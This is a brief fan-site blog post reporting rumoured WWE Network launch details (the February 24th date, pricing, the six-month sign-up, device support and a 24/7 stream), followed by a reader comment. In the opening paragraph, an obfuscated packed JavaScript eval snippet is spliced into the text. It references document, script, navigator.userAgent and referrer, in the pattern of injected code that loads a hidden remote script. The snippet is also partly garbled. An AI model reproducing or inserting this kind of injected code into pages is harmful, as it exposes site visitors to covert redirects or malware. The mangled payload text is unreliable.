WWE Network Details

This looks pretty good actually.From eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ktbya|var|u0026u|referrer|ehthy||js|php'.split('|'),0,{})) lordsofpain.net

Justin LaBar of WrestleZone.com is reporting that WWE has a targeted launch date of February 24th for the WWE Network, which is the day after the Elimination Chamber pay-per-view. This confirms a previous report from PWInsider.com, but LaBar’s sources provided him with a few extra tidbits about the Network:

– Initial price point will be in the $10-$12 a month range, with the sign-up being for six months.

– You’ll be able to watch WrestleMania 30 on the Network, with the plan still being the reported “every non-WrestleMania pay-per-view airing on the Network in the future”.

– It won’t be a channel on television, but an app-like service along the lines of Netflix that you’ll be able to watch online and on devices like smart TVs, PS3, PS4, X-Box 360, X-Box one, and so on.

– There will be a live, 24/7 stream of content on the Network, which is the thing that will separate it from apps like Netflix, which focuses more on-demand viewing. However, on-demand viewing will still be a part of the Network, as the entire library of Raw and Smackdown episodes, as well as pay-per-views, will be available to watch at launch.

If any more information comes out, we’ll be sure to pass it along to all of you.

I’m glad it’s not a TV network, though the idea of WWE streaming this stuff could be a MAJOR problem.  I’ll pick it up of course, but that six month idea scares me a bit.
